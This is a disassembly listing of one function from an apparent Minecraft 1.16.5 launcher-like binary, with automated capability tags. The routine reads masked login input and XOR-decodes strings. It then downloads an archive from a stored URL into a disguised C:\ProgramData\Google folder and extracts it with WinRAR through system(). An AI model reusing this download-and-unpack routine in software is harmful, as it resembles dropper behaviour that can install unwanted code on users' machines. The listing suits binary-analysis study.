Function at 0x422820
Capabilities:
Check internet connectivity via wininet
Create directory
Create http request
Delete file
Encode data using xor
Execute command
Hide graphical window
Read data from internet
Receive data
Set console window title
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x480f88
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x2538
call fcn.0047e0a0
mov eax, dword [0x49a400]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 1
push str.https:__www.google.ru
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x422880
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push str.C:_ProgramData_Google
call esi
push 0
push str.C:_ProgramData_Google_java
call esi
push 0
push str.C:_ProgramData_Google_launch
call esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov dword [ebp - 0x2230], 0x54
lea eax, [ebp - 0x2230]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFontEx]
lea eax, [ebp - 0x2230]
mov dword [ebp - 0x2228], 0xd000a
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
cmp dword [0x49b3b4], 0xf
mov eax, 0x49b3a0
mov dword [0x49b3b0], 0
cmova eax, dword [0x49b3a0]
push 0x4e3
mov byte [eax], 0
mov eax, 0x49b174
cmp dword [0x49b188], 0xf
mov dword [0x49b184], 0
cmova eax, dword [0x49b174]
mov byte [eax], 0
mov eax, 0x49b3b8
cmp dword [0x49b3cc], 0xf
mov dword [0x49b3c8], 0
cmova eax, dword [0x49b3b8]
mov byte [eax], 0
mov eax, 0x49b15c
cmp dword [0x49b170], 0xf
mov dword [0x49b16c], 0
cmova eax, dword [0x49b15c]
mov byte [eax], 0
mov eax, 0x49b18c
cmp dword [0x49b1a0], 0xf
mov dword [0x49b19c], 0
cmova eax, dword [0x49b18c]
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push 0x4e3
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push str.Minecraft_1.16.5
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0x49b1a8
call fcn.00406040
cmp byte [0x49b340], 0
je 0x424bb1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.______________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492790
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492898
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xorps xmm0, xmm0
mov dword [ebp - 0x2070], 0
movups xmmword [ebp - 0x2080], xmm0
mov dword [ebp - 0x206c], 0xf
mov byte [ebp - 0x2080], 0
mov dword [ebp - 4], 0
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0x2058], esi
movups xmmword [ebp - 0x2068], xmm0
mov dword [ebp - 0x2054], edi
mov byte [ebp - 0x2068], 0
movups xmmword [ebp - 0x21a8], xmm0
mov dword [ebp - 0x2198], esi
mov dword [ebp - 0x2194], edi
mov byte [ebp - 0x21a8], 0
mov byte [ebp - 4], 2
mov edx, 0x49082a
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp byte [str._qmrx_a], 0
mov ecx, dword [0x492fa4]
mov edx, dword [0x492fa8]
movaps xmm6, xmmword [0x493320]
mov dword [ebp - 0x2024], ecx
mov dword [ebp - 0x2020], edx
je 0x422c63
xor edx, edx
cmp dword [0x49ad8c], 2
mov dword [ebp - 0x203c], edx
jl 0x422d42
movaps xmm2, xmmword [0x493260]
movaps xmm3, xmmword [0x493500]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x493280]
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x493410]
xorps xmm2, xmm0
movd dword [ebp - 0x2024], xmm2
movaps xmm2, xmmword [0x493270]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x493280]
psubd xmm2, xmm0
movd xmm0, dword [0x492fa8]
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x493410]
xorps xmm2, xmm0
movd dword [ebp - 0x2020], xmm2
mov ecx, eax
lea edx, [ebp - 0x2024]
call fcn.00424ee0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x2080]
call fcn.004146b0
movq xmm0, qword [0x4930b0]
xor edx, edx
mov al, byte [0x4930b8]
movq qword [ebp - 0x2024], xmm0
mov byte [ebp - 0x201c], al
mov dword [ebp - 0x203c], edx
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0x203c]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2024], cl
inc edx
mov dword [ebp - 0x203c], edx
cmp edx, 9
jl 0x422ca4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x2024]
call fcn.00424ee0
call dword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov byte [ebp - 0x203c], al
cmp al, 0xd
je 0x422df5
nop dword [eax]
cmp al, 8
jne 0x422d7d
test esi, esi
je 0x422d7d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4929f0
call fcn.00424ee0
lea ecx, [esi - 1]
cmp esi, ecx
jb 0x424bc4
cmp edi, 0xf
mov dword [ebp - 0x2058], ecx
lea eax, [ebp - 0x2068]
cmova eax, dword [ebp - 0x2068]
mov byte [eax + ecx], 0
jmp 0x422dd4
mov eax, 0xa0a0a0a1
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0x203c]
mov cl, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2024], cl
inc edx
mov dword [ebp - 0x203c], edx
cmp edx, 8
jl 0x422d42
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x422c65
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00425130
cmp esi, edi
jae 0x422db5
mov cl, byte [ebp - 0x203c]
lea eax, [esi + 1]
mov dword [ebp - 0x2058], eax
cmp edi, 0xf
lea eax, [ebp - 0x2068]
cmova eax, dword [ebp - 0x2068]
mov byte [eax + esi], cl
mov byte [eax + esi + 1], 0
jmp 0x422dd4
push dword [ebp - 0x203c]
mov byte [ebp - 0x201f], 0
push dword [ebp - 0x201f]
push ecx
lea ecx, [ebp - 0x2068]
call fcn.004141e0
call dword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov byte [ebp - 0x203c], al
cmp al, 0xd
je 0x422df5
mov edi, dword [ebp - 0x2054]
mov esi, dword [ebp - 0x2058]
jmp 0x422d00
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x425100
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
sub esp, 0x18
lea eax, [ebp - 0x2068]
mov ecx, esp
mov dword [ebp - 0x2020], esp
push eax
call fcn.00410640
sub esp, 0x18
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2080]
mov ecx, esp
push eax
call fcn.00410640
mov ecx, 0x49b1a8
mov byte [ebp - 4], 2
call fcn.00409250
cmp byte [0x49b340], 0
jne 0x422fec
push 0x4929ec
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, str.____________________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.______________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492790
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492898
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea eax, [ebp - 0x2511]
push eax
call fcn.00422810
mov cl, byte [eax]
test cl, cl
je 0x422f9a
xor cl, 0x39
mov byte [eax], cl
mov edx, eax
mov ecx, esi
call fcn.00424ee0
mov edx, 0x49b344
mov ecx, eax
call fcn.00413f70
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492948
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 7
movups xmmword [ecx], xmm0
push str.testing
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00414480
mov ecx, 0x49b1a8
call fcn.0040a3d0
push 0x4929ec
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0xb8
lea eax, [ebp - 0x22e8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x22e8]
push str.C:ProgramDataGooglejava_bin_serverjvm.dll
call fcn.00411ac0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x22e8]
mov eax, dword [ebp - 0x22e8]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
test al, al
jne 0x4233f4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____________________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.______________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492790
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492898
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a2c
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0
push 0
push 0
push str.My_Agent
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, eax
mov dword [ebp - 0x2020], ecx
test ecx, ecx
jne 0x423277
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a54
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x22e8]
call fcn.00408e60
mov ecx, dword [ebp - 0x2054]
cmp ecx, 0xf
jbe 0x423239
mov edx, dword [ebp - 0x2068]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42322f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423271
push ecx
push edx
call fcn.0047d8e4
add esp, 8
mov ecx, dword [ebp - 0x206c]
cmp ecx, 0xf
jbe 0x424442
mov edx, dword [ebp - 0x2080]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424438
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x424438
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp dword [0x49b158], 0xf
mov eax, 0x49b144
push 0
cmova eax, dword [0x49b144]
push 0x84000000
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x203c], eax
test eax, eax
jne 0x4232cc
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a6c
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x2020]
call edi
push 0xb0
lea eax, [ebp - 0x2190]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea ecx, [ebp - 0x2190]
push 0x20
push str.C:ProgramDataGooglejava.rar
call fcn.00411830
lea eax, [ebp - 0x2028]
mov byte [ebp - 4], 5
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push dword [ebp - 0x203c]
call esi
test eax, eax
je 0x423360
mov edi, dword [ebp - 0x203c]
nop dword [eax]
mov eax, dword [ebp - 0x2028]
test eax, eax
je 0x42335a
push 0
push eax
lea eax, [ebp - 0x1018]
push eax
lea ecx, [ebp - 0x2190]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0x2028]
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push edi
call esi
test eax, eax
jne 0x423320
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x218c]
call fcn.00411a30
test eax, eax
jne 0x423388
mov eax, dword [ebp - 0x2190]
lea ecx, [ebp - 0x2190]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push dword [ebp - 0x203c]
call edi
push dword [ebp - 0x2020]
call edi
push str.c:_Program_Files_WinRARRar.exe__Y_x__C:ProgramDataGooglejava.rar___C:ProgramDataGoogle____NUL
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.C:ProgramDataGooglejava.rar
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
push 0
push str.C:_ProgramData_Google_java_conf
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
